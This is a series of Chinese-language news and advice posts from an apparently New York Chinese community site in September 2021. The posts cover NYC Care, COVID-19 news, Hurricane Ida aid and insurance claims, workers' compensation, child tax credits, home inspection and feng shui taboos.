如果因为移民身份或其它原因,无法在纽约申请到医疗健康保险,有什么办法可以获得基本医疗保障呢?纽约关怀计划 (NYC Care)为纽约市没有资格获得健康保险或无法负担健康保险的纽约客,提供纽约市公立医院系统(NYC Health + Hospitals) 的医疗服务。无论移民身份或支付能力,只要符合条件,就可以获得可负担的医疗保健服务。

这项计划是纽约市政府于2019年8月于布朗士、布碌仑和史坦顿岛开始启动的,目前已覆盖纽约全市。纽约关怀计划为没有任何健康保险的纽约人,提供了必要的医疗健康服务,而收取费用极少甚至免费。

纽约关怀计划为没有健康保险的纽约人提供医疗健康服务 图片:https://www.nyccare.nyc/about/

纽约关怀提供的服务

纽约关怀(NYC Care)不是医疗健康保险,是会员卡。但不收取会员费、月费或保费。获得纽约关怀卡后,可以获得以下会员服务:

  • 获得会员卡,在纽约市公立医院系统的诊所看医生;
  • 可以选择一名主治医生;
  • 预防性护理,比如疫苗接种、常规筛选和乳房X光检查;
  • 心理健康服务;
  • 在两周或更短时间内,就可以预约第一次看诊;
  • 各语种客户服务24小时提供热线服务;
  • 24小时低成本处方药服务;
  • 可承担的医疗保健,无会员费、月费或保险费。个人承担的费用依据家庭收入和家庭人数而定。

纽约关怀提供的医疗服务包括以下内容:

  • 初级和预防性护理: 选择您的主治医生,他会为您进行常规疫苗接种和筛查,以及常规疾病治疗;
  • 女性健康;
  • 全天24小时医疗服务;
  • 视力和提供眼镜处方;
  • 专科护理,经过家庭医师转诊就可以;
  • 心理健康;
  • 支持服务,包括住房、食品和营养方面的资源支持;
  • 牙科护理;
  • 急诊护理;
  • 7天24小时药房,可以获得低价处方药。

纽约关怀不包含的医疗服务:

  • 整容手术 ,除非是出于医疗原因而需要进行的手术;
  • 专业护理或长期护理;
  • 救护车服务。

参加纽约关怀(NYC Care)资格要求

  • 不符合参加纽约州其它医疗健康保险资格要求;
  • 没有能力负担医疗保险费用;

如何申请纽约关怀

您可以到纽约关怀计划批准的社区合作组织申请,点击这里,可以找到地址和联系电话。

您也可以打电话咨询:1-646-NYC-CARE (1-646-692-2273)。

申请时需要准备的文件

  • 身份证明:比如驾驶证、护照、国外身份证、纽约身份证、出生证、工作许可证等;
  • 收入证明:比如工资单(过去4 周)、雇佣信等;
  • 住址:水电费账单(过去 90 天)、租房合同等。

您的会员卡

会员卡会邮寄到您的住处。在以下情况时,请记得带上会员卡:

  • 看医生;
  • 在公立医院系统NYC Health + Hospitals诊所、机构看诊或开药;

纽约关怀会员卡 图片:https://nyccare.blob.core.windows.net/uploads/2019/10/NYCCare_Handbook_ENG_TRACHI.pdf

如果会员卡遗失,请致电 1-646-NYC-CARE (1-646-692-2273)联系。

NYC Care 联络中心客户服务部, 7天24小时,全天候为您提供各语种服务。

如何续延会员资格

NYC Health + Hospitals 的财务顾问每 12 个月会进行一次评估。评估结果会告诉您,是否有资格继续参加此计划。如果可以的话,财务顾问会帮助您续延纽约关怀( NYC Care)会员资格。

如何预约看医生

你可以拨打纽约关怀热线1-646-NYC-CARE(1-646-692-2273),预约看医生。

如果需要紧急看医生,服务中心会为您提供帮助。

线上服务-MyChart

您可以安装MyChart手机app或者网页版,就可以线上预约医生、补充药物或者留言给主治医师。

通过以下方法可以设置您的MyChart账号:到mychart.nychealthandhospitals.org设立账号,或者请纽约关怀工作人员通过电子邮件邀请。

MyChart目前有英语、西班牙语和法语版本。

自己需要支付多少医疗费用?

您将根据您能承担的能力支付费用。折扣费用取决于您的家庭人数和收入,最低为 $0。您可以点击这里查看,以下是费用表:

纽约关怀计划,看医生自己需要支付的费用表格 图片:https://nyccare.blob.core.windows.net/uploads/2019/10/NYCCare_Handbook_ENG_TRACHI.pdf

如果您想了解更多有关纽约关怀计划的信息,可以致电 1-646-NYC-CARE(1-646-692-2273)。您还可以访问 nyccare.nyc 了解详细内容。

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的法律顾问咨询。

2021-09-17 / by / in ,
纽约卫生部门正在调查COVID-19群体感染事件

纽约市(WABC)卫生部门在2021 年 9 月 15 日,调查周末劳动节,在兰德尔岛RANDALL’S ISLAND动物园举办的音乐节中,出现中共病毒COVID-19群体感染事件。 

到目前为止,共有16人感染了该集群中共病毒,另外8名参加劳动节周末音乐节的人可能在当时感染了中共病毒。

共有16人感染了该集群中共病毒,另外8名参加劳动节周末音乐节的人可能在当时感染了中共病毒。(示意图)

卫生局长戴夫·乔克什博士(Dr.Dave Chokshi)在一份声明中说:“任何参加这个音乐节的人都应该立即进行检测,无论他们是否接种了疫苗。如果参加者有症状,更应该立即做核酸检测。”

 9 月 3 日至 5 日在兰德尔岛RANDALL’S ISLAND动物园,举行的电子动物音乐节,要求参加者必须出示疫苗接种证明,或者在第一天参加的72小时内,接种中共病毒疫苗或中共病毒(新冠病毒)检测呈阴。成千上万的人前往纽约市举办时间最长的音乐节 Electric Zoo。目前还不清楚那些检测呈阳性的人居住在哪里。

 

 

 

2021-09-17 / by / in , , , , ,
美国买房家居风水|家居风水十大禁忌!一定要记住哦!

美国的华人朋友买房讲究风水,客厅摆设都有讲究,怎么装修不破财?以下是小编整理的美国华人买房家居风水十大禁忌。

美国华人买房家居风水十大禁忌

横梁压顶

穿心煞

开门见灶

中宫之位

开门见厕

开门见镜

穿堂煞

客厅堆放杂物

客厅鱼缸数过多

对门煞

美国华人家居风水禁忌一:横梁压顶

华人朋友在房子在设计时要避免沙发位于横梁之下,压梁会影响居住者。不利于居住者的情绪与健康,事业也会受到影响。 其实不只是客厅,包括床头、书桌及餐桌上方,都不要让横梁位于上方,如无法避免可设计天花板,将其挡住,或者是在梁的两端葫芦或者是麒麟彩八卦来解决这个问题。

美国买房禁忌二:穿心煞

横梁在门上通过,这样的状况容易事情不顺,而且会招小人。怎么避免呢?如果是买预售屋房子的朋友,在跟建商去讨论怎么样把房门去移位。或者干脆不选择这样的房子。

美国风水禁忌三:开门见灶

所谓开门见灶,就是打开房子的大门,马上就直接看到厨房的瓦斯炉。这属于财库外漏的格局。会导致居住者家人之间的相处上的争执,而且影响家庭成员身体健康、财运与前途。如何解决呢?其实很简单,只要在门的附近做一个隔间墙,做一个小玄关。

美国华人家居风水禁忌四:中宫之位

卫生间的设计布局,最忌占据中宫之位,浴厕是排污之所,除了布局方位要合规中局之外,还要注意避免阴湿、异味,整洁的干爽的浴厕才能留住财气。

美国华人家居风水禁忌五:开门见厕

所谓开门见厕,就是打开门就会看到厕所,这个会造成居住者的财运流失,也会造成家人身体健康的一些状况。怎么消除呢?在门的前面放一个屏风或者长布帘。如果空间上不允许,可以摆设五帝钱, 来解决这个问题。

美国华人家居风水禁忌六:穿堂煞

所谓穿堂煞就是一开大门,就会门直接对着窗户或者门对着门。 因为刚进门的气流穿堂而出,这样导致无法聚气或聚财,也很容易导致血光之灾。怎么解决穿堂煞的问题呢?在大门内做一个独立的玄关,只要挡住气流贯穿到窗户外面,这个事情就解决了。

美国华人居风水禁忌七:开门见镜

开门见镜意思就是如果一开门就会看到镜子,其实就是把入门之气反射回去。对居住者的运势其实也是不好的,容易造成与家人的争执比较多。解决的方法就是把镜子移开大门,或者加个布帘或长窗帘,就是将镜子离开你的视线,避免一开门被吓到。

美国华人家风水禁忌八:客厅堆放杂物

客厅中的物品堆积如山,收藏的东西过多,令畤,气场不能流通,影响家人健康。做事不顺。

美国华人家风水禁忌九:客厅鱼缸数过多

很多朋友都习惯在客厅摆放鱼缸,认为这样是有利于风水开运的效果。 但是物极必反,不能因为开运就在客厅摆放多个鱼缸。如果客厅摆放的鱼缸过多,首先是视觉审美上不过关。 其次是在风水学上会造成湿气过重的反效果,所以千万不要贪图好运而误了整个居室的风水。

美国华人家风水禁忌十:对门煞

对门煞就是房门对房门。其缺点会造成家人互不关心,感情不好,解决方式就是调整门之门的之间的位置,也可以弱化门的存在。现在装潢很流行隐形门,隐藏门就是看到一面完整的墙,看不到门。但是门其实在里面,用这样的方式去美化或者去弱化门和门之间相对的问题。

 

 

 

 

2021-09-15 / by / in , , , , , , ,
在美国纽约工作受伤怎样索赔?|纽约意外伤害律师 纽约工伤律师 美国工伤赔偿标准

在美国纽约,工伤赔偿是一种无过错的赔偿制度,所有受雇佣的工人如果在工作中受伤,都有权提出工伤赔偿。包括误工费、残疾、和收入损失等相关的赔偿。这些赔偿和事故的责任划分无关。

所有营利性雇主和大多数非营利性雇主都有责任为雇员购买工伤赔偿保险。

美国工伤保险涵盖的内容

  • 与您受伤有关的所有医疗保健;
  • 现金赔偿最高为您平均每周工资的三分之二;
  • 往返医疗保健预约的差旅费。

纽约工伤赔偿的误工费怎么计算?

在纽约,工伤误工费是按照周计算。每周赔偿金按法定期间平均每周工资的三分之二来计算。比如每周收入是900元,那么工伤赔偿误工费是每周600元左右。

美国法律规律定,移民身份如何不影响工伤赔偿,包括无证建筑工人、非法移民、游客、探亲者都有权获得工伤赔偿。

纽约意外伤害赔偿律师646-808-7375车祸律师/工伤律师/工伤赔偿

有关梯子或手脚架纽约工伤赔偿

像屋顶工这类的高空作业的工人,面临更高的可能受伤的风险。纽约州为因从手脚架或梯子坠落而受伤的工人制定了特别立法。如果受到这种方式受伤害,适用于这项专门的法律提出索赔。

相关阅读:在纽约建筑工地受伤如何索赔|纽约工伤索赔/纽约工伤保险/纽约劳工法

美国纽约意外伤害律师(纽约工伤律师)表示,纽约州有关梯子或手脚架的工伤赔偿有特别的立法。示意图。(Pixabay)

因工作的关系感染新冠病毒(COVID-19 ),能否在纽约获得赔偿

如果您能证明自己因工作的特殊性而接触过新冠病毒,则 COVID-19 可能作为职业病被纳入工人赔偿范畴。

纽约工人赔偿委员会 (WCB) 在关于 COVID-19的问答中这样解释,如果您工作场所的暴露风险“显着增加”,有可能获得赔偿。医护人员和急救人员是高危员工的最明显例子,但 WCB 还指出,其他职业(包括运输和食品服务)的工人在有记录暴露于冠状病毒的地方与公众密切互动接触,也在此范围内。

即使您无法达到职业病的标准,如果您能证明存在特定的暴露事件,例如与生病的同事互动接触或在您的工作场所爆发疫情,您也可以获得 COVID-19 的赔偿。

纽约的临时伤残津贴

如果您需要休假超过 7 天才能从工伤中恢复过来,您可能会收到旨在弥补部分工资损失的现金赔偿。

临时残疾赔偿的金额取决于您受伤前一年的平均每周收入,以及您的临时残疾程度。

暂时性残疾的纽约工伤赔偿

如果您的医生说您是 完全的临时残疾,您的临时残疾赔偿金将是您平均每周工资的三分之二。法定最高限额取决于您受伤的日期。对于发生在 2020 年 7 月 1 日至 2021 年 6 月 30 日之间的伤害,每周最高限额为 966.78 美元。

如果您无法完全恢复到受伤前的状态,但可以在您从受伤中恢复时做一定程度的工作,您将有权获得部分临时残疾赔偿。这些赔偿将相当于您的平均每周工资与您目前的收入能力之间的差额的三分之二。

为此,您的收入能力通常是根据您的实际收入来衡量的。例如,如果您的平均每周工资为 900 美元,但您从事的是每周收入 300 美元的轻型工作,则您可以获得差额的三分之二(600 美元),即每周 400 美元。

永久完全残疾的纽约工伤赔偿

一旦您的医疗状况稳定到即使进一步治疗也不会改善的程度(称为“最大医疗改善”的阶段),您的医生将对您进行评估,以确定您的受伤是否使您受到永久性限制。如果医生说您完全残疾,您将获得平均每周工资的三分之二。

通常,永久性完全残疾意味着您因自身的限制而根本无法工作,但患有某些类型残疾(例如失去双眼、双腿或双臂)的受伤员工可能能够赚取有限的钱而不会失去他们的残疾赔偿金。

永久性部分残疾纽约工伤赔偿

根据受影响的身体部位,纽约有三种不同的方式为永久性部分残疾提供赔偿金。

纽约法律规定,用于确定无法使用身体某些部位(眼睛、耳朵以及上肢和下肢的一部分)的受伤员工的永久性部分残疾赔偿。如果您永久无法使用这些身体部位之一,您将会获得平均每周工资的三分之二(最高法定工资),乘以您的百分比失去使用。例如,时间表列出了在 244 周时完全无法使用手的情况。如果您只有 50% 的使用损失,您将收到 122 周的付款。

美国纽约意外伤害律师(纽约工伤律师)表示,纽约的工伤赔偿是一种无过错的赔偿制度。示意图。(Pixabay)

您也可以要求一次性付款而不是每周付款。

如果您的脊椎、头部、器官或身体其他部位因工伤造成残疾,则您可能会获得永久性部分残疾赔偿。支付金额将是您受伤前平均每周工资与您目前的收入能力(根据您的具体残疾和州指导方针确定)之间的差额的三分之二。

根据纽约法律,您获得这些赔偿金的最长周数将取决于您失去的收入能力的百分比。例如,如果您失去 91% 的收入能力,您将获得不超过 500 周的赔偿金,而失去 15% 的收入能力将导致不超过 225 周的赔偿金。

有关毁容的纽约工伤赔偿

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2021-09-13 / by / in , , ,
纽约市保健法案通过 不论移民身份扩大初级保健范围

为让纽约市没有医疗保险的民众也能获得初级保健服务,纽约市议会在9月9日投票通过了一项法案,以扩大纽约市获得初级保健服务的对象。

这项法案(Int. No. 1668-A)的提起人是市议会议长张晟(Corey Johnson)和市议会健康委员会主席李文(Mark Levine)。该法案要求市卫生局或市长指定的机构,来制定和管理“初级保健服务和病患导航计划”( Primary Care Services and Patient Navigation Program,简称PCSPNP),同时也要求纽约市公立医院(Health + Hospitals)、联邦资助的护理设施以及其它非盈利设施,都能更全面地提供初级保健服务和病患导航计划,提供多语种服务,帮助所有纽约市民都能获得初级健康服务。

纽约市健保法案提起人 市议会议长张晟Corey Johnson (图片:wikimedia

按照这项计划的要求,每个社区至少确保有一家初级保健服务机构,并且每个行政区至少有一家提供专业护理服务的急症护理医院,同时还需要提供远程医疗服务,为病患提供每周7天、每天24小时的服务 。

(纽约市健保法案要求 每个社区至少确保有一家初级保健服务机构和急症护理医院)

这项法案旨在保证纽约市没有医疗保险的人也能得到医疗保障,而不会考虑民众的支付能力或移民身份,从而保障所有纽约市民都能够获得医疗保健和初级保健服务。

预计,纽约市有超过60万无医疗保险者将可获得初级医疗服务,比如初级保健、接受检查与疫苗、联系私人医生、以及通过24小时开放的服务来预约护理及获得普通药物等。

这项法案将在成为法律一年后生效。

今年4月,纽约市长移民事务办公室(MOIA)发布的“2020年度报告”中,在医疗保险方面,纽约市有12%的移民缺乏医疗保险,而本土出生的纽约人缺医保的只有4%;46%的无证移民缺乏医疗保险。有13%的无证儿童(19岁以下)没有健康保险,不过儿童无论身份如何,都可以享受免费医疗。

报告并指出,来自中国的移民人数在纽约市移民人口中排第二位,在英语水平有限的人口中,中国人(普通话、粤语)的人数也排第二位。

2021-09-13 / by / in ,
纽约一家医院员工因要求接种疫苗辞职 医院将停止接生

纽约州北部的一家医院将在本月晚些时候停止接生,部分原因是员工因要求接种中共病毒 COVID-19 疫苗而辞职。据《水城每日时报》报道,过去一周,刘易斯县总医院有六名产科工作人员辞职,加剧了现有的人员短缺问题。医院官员说,该部门还有其他七名未接种疫苗的员工也可以决定离开。

员工因要求接种中共病毒 COVID-19 疫苗而辞职。

“收到的辞职人数让我们别无选择,只能暂停在刘易斯县总医院接生,”首席执行官杰拉尔德·凯耶 (Gerald Cayer) 在周五的新闻发布会上说。“我希望(州)卫生部与我们合作暂停服务,而不是关闭产科部门。”

安德鲁·科莫 (Andrew Cuomo) 于 8 月宣布,所有州卫生保健工作者都需要在 9 月 27 日之前接受第一次注射,否则将面临解雇,刘易斯县总医院的 30 名工人已经辞职。大多数是护士、治疗师或技术人员。

Cayer 说,大约 165 名未接种疫苗的员工,其中 73% 提供临床服务,尚未宣布他们打算留下还是离开。县级卫生系统拥有约 650 名员工。

Cayer 说,自上个月宣布疫苗授权以来,已有 30 人辞职,其中大多数人担任护士、治疗师和技术人员等临床职位。他说,其他 30 人至少接种了一剂疫苗。

Cayer 说,自上个月宣布疫苗授权以来,已有 30 人辞职,其中大多数人担任护士、治疗师和技术人员等临床职位。他说,其他 30 人至少接种了一剂疫苗。

他说,卫生保健系统的疗养院已经有 1 人辞职,但仍有 48 人尚未采取行动。

但随着医院实施疫苗接种要求,一些工作人员选择辞职或被解雇,而不是接种疫苗。

休斯顿卫理公会(Houston Methodist)是最早要求接种中共病毒(冠状病毒)的卫生系统之一,150 多名不遵守疫苗规定的卫生保健工作者于 6 月辞职或被解雇。其中一名员工提起的诉讼被联邦法官驳回,该诉讼指控该政策迫使员工成为未通过完整食品和药物管理局批准程序的疫苗的试验品。

最近几个月还出现了其他回击的例子。在弗吉尼亚州温彻斯特,一些未接种中共病毒疫苗的护士选择被解雇,以抗议他们医院系统的规定。

 

 

2021-09-13 / by / in , , , , , , , ,
最高$36,000 飓风艾达纽约灾民 可申请FEMA联邦灾难援助金

9月6号,拜登总统批准了纽约的“重大灾难援助计划”,为上周受艾达(Ida)飓风影响的纽约居民和企业提供联邦紧急措施署 (FEMA)的联邦资金援助。

FEMA联邦灾难援助金的内容

纽约的这项“重大灾难援助计划”,将向受灾的纽约居民和企业提供联邦财政救济,涵盖的救济区包括布朗克斯(Bronx)、布鲁克林国王区(Brooklyn)、皇后区(Queens)、史坦顿岛(Staten Island)和威彻斯特(Westchester)。

援助包括清除风暴过后残留碎片、维修公共建筑和基础设施,以及为租户和房主提供支持。资金也可用于修理和更换个人财产、临时住房、搬家和租用储物闲费用,或医疗、牙科和托儿费用。

联邦紧急措施署向每个受灾户提供的补助金最高上限为36,000美元。

法拉盛Peck大道地势低洼,是艾达飓风带来洪灾的重灾区。联邦紧急措施署(FEMA)向纽约的受灾户,提供最高36,000美元的补助金。(The Epoch Times)

申请方式

纽约以上地方受灾的市民可以通过以下几种方式,直接申请FEMA灾难援助:

  • DisasterAssistance.gov网站申请;
  • 致电1-800-632-3362申请;
  • 通过FEMA手机应用程序申请;
  • 拨打311申请,311提供中文服务。

申请市民需要准备好受损房屋和财物的照片,列出受损或丢失物品的清单。如果您有保险,则需向保险公司提出索赔。

庇护所和住房援助

红十字会与纽约市政府官员合作,为因飓风艾达而无家可归的人提供紧急住房。自9月1日以来,红十字会已为全纽约市、长岛和威彻斯特郡超过350人提供庇护。

需要帮助的纽约市民可拨打877-RED-CROSS与红十字会联系,并在出现提示时按1。

所有收容所每周7天、每天24小时开放。

另外,市长白思豪周二宣布,大都会委员会(Met Council)将向需要的人提供一个月的租金,无论其移民身份如何,可致电311了解更多信息。

食物和基本生活物资援助

红十字会还与纽约市府合作,为受灾家庭提供价值515美元的借记卡,用于购买衣物、食品等基本生活物资。

布鲁克林和皇后区天主教慈善机构(Catholic Charities of Brooklyn&Queens)和非营利组织“城市丰收”(City Harvest)近期会免费发放食物。

 

2021-09-09 / by / in , , ,
新的“mu”COVID 变种病毒 现身美国49个州

Mu变体最早于今年1月在哥伦比亚发现,此后中共病毒COVID-19 的 mu 变体已传播到 41 个国家,并在夏威夷和阿拉斯加广为人知。迄今为止,美国已经在 49 个州发现了它,内布拉斯加州是唯一一个没有检测到 mu 变异病例的州。

卫生官员认为 mu 比 delta 变体更容易传播,并且有可能抵抗疫苗。

根据提供有关中共病毒(武汉肺炎 COVID-19) 变体的开源数据的网站 Outbreak.info,在哥伦比亚特区和美国除内布拉斯加州以外的每个州都至少检测到一例 Mu 变体。

Mu变体最早于今年1月在哥伦比亚发现,此后中共病毒COVID-19 的 mu 变体已传播到 41 个国家。

加州报告的 Mu 变异样本数量最多,为 384 例,但这仅占该州测序总样本的 0.2%。据公共卫生部称,截至周五,洛杉矶县已确定了 167 例变异病例。这些病例是在 6 月 19 日至 8 月 21 日之间测序的样本中发现的,其中大部分病例是在 7 月发现的。

Delta变体仍然是洛县的主要流行毒株,洛杉矶县公共卫生局局长芭芭拉·费雷尔 (Barbara Ferrer) 周四表示,几乎所有经测序确认变体的病例都发现属于该变体感染。Delta已被世界卫生组织标记为“高关注变体”(Variant of Concern)。

世界卫生组织于 8 月 30 日将 Mu 标记为一种感兴趣的变体,因为它的特征可能使其更具传染性或对疫苗具有抵抗性。但是,疾病控制和预防中心 ( CDC ) 尚未做出相同的分类。

美国国家过敏症和传染病研究所所长 Anthony Fauci 博士说,卫生官员对 mu 变体保持“密切关注”,尽管它“根本不接近”成为该地区的主要中共病毒 COVID-19 菌株。

2021-09-07 / by / in , , , ,
每月$300子女补助款 现在申请还不迟!

从今年7月开始,美国国税局(IRS)和财政部将向约3,600万个家庭每月发放总额约150亿美元的子女税收抵免(Child Tax Credit)预付款,每个符合条件的6岁以下的孩子可获每月最高300美元预付款,6至17岁孩子可获每月最高250美元的预付款。没有收到预付款的家庭,现在仍可申请。

有关国税局子女税税收抵免预付款的详细信息,请登录IRS官网查看: https://tinyurl.com/dsn5mtv8

2021税收年度,美国国税局将子女税收抵免额度从2020税收年度的每个儿童2,000美元,增加到每名6岁以下儿童3,600美元,每名6至17岁儿童3,000美元。

这些付款将通过转账直接存入银行账户、或将支票寄到邮箱。

该税收抵免是提供给年收入在7.5万美元以下的个人,年收入在15万美元以下的已婚夫妇,以及年收入在11万2,500美元以下的单亲家长。对于收入超过资格门槛的家庭,收入每增加1,000美元,税收抵免就将减少50美元。如果家庭收入过高,无法享受该抵免,那么如果他们的个人收入低于20万美元,已婚夫妇收入低于40万美元,仍然可以为子女获得2,000美元的税收抵免。

符合资格的民众会在每个月的15号收到预付款。申请的家庭只需提交纳税申报表,IRS将使用您过去提供的资讯来判定您是否符合资格并自动为您登记领取预付款,您无需采取任何额外行动即可获得预付款。但需要在10月15日之前使用非申报者工具免费提交简化申报表。

对于低收入家庭来说,现在仍然可以申请子女税收抵免额预付款。IRS敦促通常那些不需要报税的人使用国税局官网上的在线工具。这些工具可以帮助人们确定是否有资格接受子女税收抵免,或帮助人们提交简化的纳税申报表以登记收款信息、注册领取税收抵免预付款、经济影响补助金和纾困金等。人们即使不工作或没有收入,仍可以享受这些福利。

领取资格

如要获得子女税收抵免额预付款的资格,您和您的配偶(如果您是联合申报)必须具备:(1)申报了2019年或2020年的纳税申报表,并在纳税申报表中申领了子女税收抵免。如在2020年为非申报人,则需在国税局网站输入付款资讯以领取预付款;(2)在美国(50州和哥伦比亚特区)拥有一处半年以上的主要住所或与在美国有一处半年以上主要住所的配偶联合申报;(3)在2021年年末拥有一名18 岁以下且拥有有效社会安全号码(SSN)的合资格子女。

查看详情: https://tinyurl.com/dsn5mtv8

2021-09-07 / by / in , , , , ,
飓风艾达带来财产损失 纽约居民如何索赔

飓风艾达(Ida)给很多纽约的居民带来了不同程度的财产损失,灾情过后要尽快向保险公司提出索赔。

灾后的损失索赔

纽约采用国家洪水保险计划(National Flood Insurance Program,简称NFIP)。如果纽约民众已保洪水险,发生水灾损失后,应尽快向保险公司提出索赔。

索赔过程中须注意:

  • 询问保险公司需要提交哪些文件、表格和数据;
  • 保留与保险公司所有的对话纪录,包括清楚显示与经纪人的通话日期和时间;
  • 在保险公司检查损失之前,不应进行永久性维修。应保留所有损坏的个人财产,直到达成保险赔偿;
  • 向保险公司提供一份详细的受损个人物品和财产清单,包括收据、信用卡对账单和其它任何显示物品价值的文件;
  • 在清理任何东西之前,拍摄照片或视频,显示损坏的程度;
  • 屋主只应进行必要的维修以防止财产进一步损坏,例如覆盖破损的窗户;
  • 如果在房屋维修期间需要搬迁,保留费用记录。
  • 以书面形式保留跟进索赔的过程;

有灾前准备,容易索赔

保留自己拍摄的住宅照片和视频,并保留财物购买的收据及其型号,会使提出索赔的过程较为顺利;将保险公司、保险经纪人、保单号码和联系信息添加到家庭物品清单表中,以利准备。

更多资讯请登录纽约州金融服务管理局(NYDFS)的“灾害与洪水资源中心”网址查看:https://tinyurl.com/269cuvvf

2021-09-06 / by / in , , , , ,
美国现在新房很贵|买二手房house如何正确验房?这十个潜在问题一定要避开

文|雨荷

美国现在新房很贵,很多人打算买2手房house如何正确验房?买2手房house这十个潜在的问题怎么避开?在美国2手房house大多数是老房子,所以地基、管路、电线、屋顶等等问题都要好好检查,验房步骤不可省,免得吃大亏。

买二手房house如何正确验房?

首先要有资质的验房师整体验房。另外需要水管工,检查房子的上水和下水;电工检查房子所有的电路是否有安全隐患;房子需要升级,要找懂报价装修师傅。这三个工种的师傅帮你验房,其中哪位师傅提出的问题,都是宝贵的意见,在跟房主谈价的时候,提供了很有力的支持。

买二手房house如何正确验房?

买二手房house这十个潜在问题一定要避开

一:房子没有装修完

房子的没有完成装修,比如地下室进展到一半,这些房子一般都很便宜。但是不能买。因为如果屋主在进行房子装修的时候,并不是按照最新的permit 来做的。或者是没有申请permit问题就大了,很有可能这些都要拆掉重新来做,这样费用就太高了

二.刚装修完的2手house

卖房之前的装修,基本上是掩饰性的装修。一般是由房产经纪安排的这类装修。如何帮房主省钱,然后达到可以出售的标准。在这种情况下掩饰性的装修很多。当你搬进去住一段时间后,问题会逐渐出现,一定要仔细考察这个潜在的问题。

刚装修完的2手房house

三.2手house地基的问题 

在看房子时,要围着房子转一圈。如果发现房子水泥墙上面有裂缝修补痕迹,这道裂缝超过三毫米(八分之一英寸),要考虑地基有问题,这样的房子尽量避免。

四.2手house的窗户

在买二手房的时候,通常窗户的使用年限大概在十五到三十年左右,但基本上过了二十年就要开始注意保养。长期没有更换过的窗户,可能会出现密封条老化,开关不方便或者镂空等问题。换一扇窗户的玻璃,大概在三百刀到七百刀。如果大一点的玻璃会更贵。

如果窗户太旧了。要考虑将来更换窗户的预算,少则两三万,多则十几万不等。价格取决于房子大小及窗户的数量。而且如果老房子的窗户木质的。并没有及时的修理,很有可能出现漏水的情况。漏水会导致墙体里边潮湿。在换窗户的时候,有可能会涉及到更换木梁。如果房子的窗户都是旧窗户的,慎重的考虑预算问题。

 

2手房house的窗户

五.2手house的电路问题

第一,如果电路比较老,尤其是一九六零年以前的电路。使用寿命最多是七十年,如果不换容易发生火灾,要彻底更换老的电路。过去的电路功率小。电线所能承载的电流也比较小。再买些新的家电的时候,老的电路功率达不到。

第二,电路需要市政的审核检查通过。如果房子最近做过装修,要看电箱上贴的标签。最近政府的审核日期,如果装修是房主自己做的,没有经过申请permit,可能工作是不合格的。在这种情况下,再做任何改造,要申请permit 时候。所有的电路还是需要进行审核,如果墙已经都封好了,墙皮要拆掉检查线路,麻烦就大了。

六.2手house需要查看屋顶

如果房子是刚换过的屋顶,千万不要就此放心。要请验房师傅仔细查看下屋顶里边的情况。刚换的屋顶并不意味着里边的结构是干燥的,要检查里边是否有漏水的痕迹。如果是长期漏水的,木头会腐烂的,结构也都是会有问题的。

 

2手房house需要查看屋顶

如果屋顶旁边有些树,更要检查屋顶。要看下屋顶是否有下陷的趋势。有的屋顶从中间就开始下陷了,那必然说明房子结构有问题。

如果以上两点问题不存在,还要看清楚屋顶年份。一般情况屋顶大概是二十到三十年更换一次,换屋顶是成本比较大的。大概需要一万刀到三万刀左右的预算,根据房子大小和所选材料会有所不同。

七.2手house过时的装修

过时的装修,如果想改动一部分,会发现其它地方不协调,就得需要整体装修。要考虑预算的问题。

2手房house过时的装修

八.2手house漏水的问题

美国好多房子都是木质的,漏水是最大的威胁。

1.检查屋顶

屋顶上面漏完水之后会有水渍和鼓包。如果看到一块补丁一样的,颜色不一致的情况。说明屋顶曾经漏过水。如果发现屋顶有漏水的痕迹,就要到阁楼上检查一遍。就要重点考察下屋顶漏水的情况,甚至是整个外面的屋顶漏水的情况。

2.检查浴室、厨房

检查浴室里面的淋浴、浴盆、坐便漏水情况,有没有漏水点;检查厨水槽漏水情况,如果漏水时间长了,会在厨房的橱柜底下形成常年的发霉情况。

九.2手house里面奇怪的味道

1.房间里面如果有奇怪的味道,原因是发霉霉菌产生的。这种味道会导致住房的人有过敏的问题,或有呼吸系统的问题,甚至有精神方面的问题。

2.房间里面怪味,很可能里边有老鼠居住。

十.检查房子里边的电器

在看房子时要看热水器的生产年份。热水器的使用寿命大概在八到十二年左右。更换热水器大概花费在一千刀到两千刀,还会五百刀到一千刀的安装费。根据牌子价格会有所不同;HVAC主要是指的是暖气和空调系统,使用寿命一般是在十五年到二十五年左右。通常换暖气和空调系统大概就需要五千到八千刀;还有热泵,更换新的也是五千到八千刀,如果需要更好的质量的,上万刀也是有的。

 

 

2021-09-04 / by / in , , ,
最新研究:天然免疫力对Delta病毒保护力 比疫苗强大13倍

以色列一项最近的研究显示,完全接种2剂辉瑞疫苗的民众,受到Delta变种病毒感染的风险,要比从Covid-19染疫后康复的人高出13倍。

综合媒体报导,8月27日,来自以色列马卡比医疗集团(Maccabi Healthcare)和特拉维夫大学(Tel Aviv University)的研究人员表示,从Covid-19康复的人对Delta变种的保护能力,要好于接受辉瑞公司mRNA疫苗的人,这种疫苗是以色列最常用的一种疫苗。

该研究总结称:“这项分析表明,自然免疫对Delta变体引起的感染、症状性疾病和住院治疗提供了更持久和更强大的保护。”

该研究团队利用医疗保健服务资料库数据,跟踪观察从今年6月1日到8月14日,80万以色列民众的健康状况后,得出的结论。由于Delta变种病毒在以色列广泛传播,而疫苗的保护力随时时间在逐步下降,因此科技人员着手进行了这项研究。研究结果显示,即使接种2剂辉瑞疫苗,对Delta病毒的保护力依然无法与确诊后康复的患者。而且出现咳嗽和发烧等症状的比例也要高出7倍以上。

这篇研究报告的作者表示,他们只是观察了针对Delta变体的免疫力,而没有观察其它毒株,而且他们只观察了辉瑞公司的mRNA疫苗。

(示意图:从Covid-19康复的人对Delta变种的保护能力,要好于疫苗接种)

辉瑞公司(Pfizer)董事会成员,前食品和药物管理局(FDA)局长斯科特.戈特利布(Scott Gottlieb)指出,感染Covid-19之后所获得的“自然免疫力”需要被纳入有关政策和授权讨论中。戈特在8月30日上午的电视采访种说:“对证据的权衡表明,自然免疫力赋予了一种持久的保护。”

针对以色列的研究结果,戈特表示:“得出的这个结论是合理的”,官员们“应该开始将其纳入我们的政策讨论”

人体的自然保护力

打疫苗为什么会产生保护力?疫苗是通过仿真新冠病毒表面的刺突蛋白,刺激人体免疫系统产生抗体,这些抗体会记住新冠病毒的样子。等下次碰到真病毒时,它们就会识别并将真病毒消灭。

(图片:疫苗刺激人体免疫系统产生抗体)

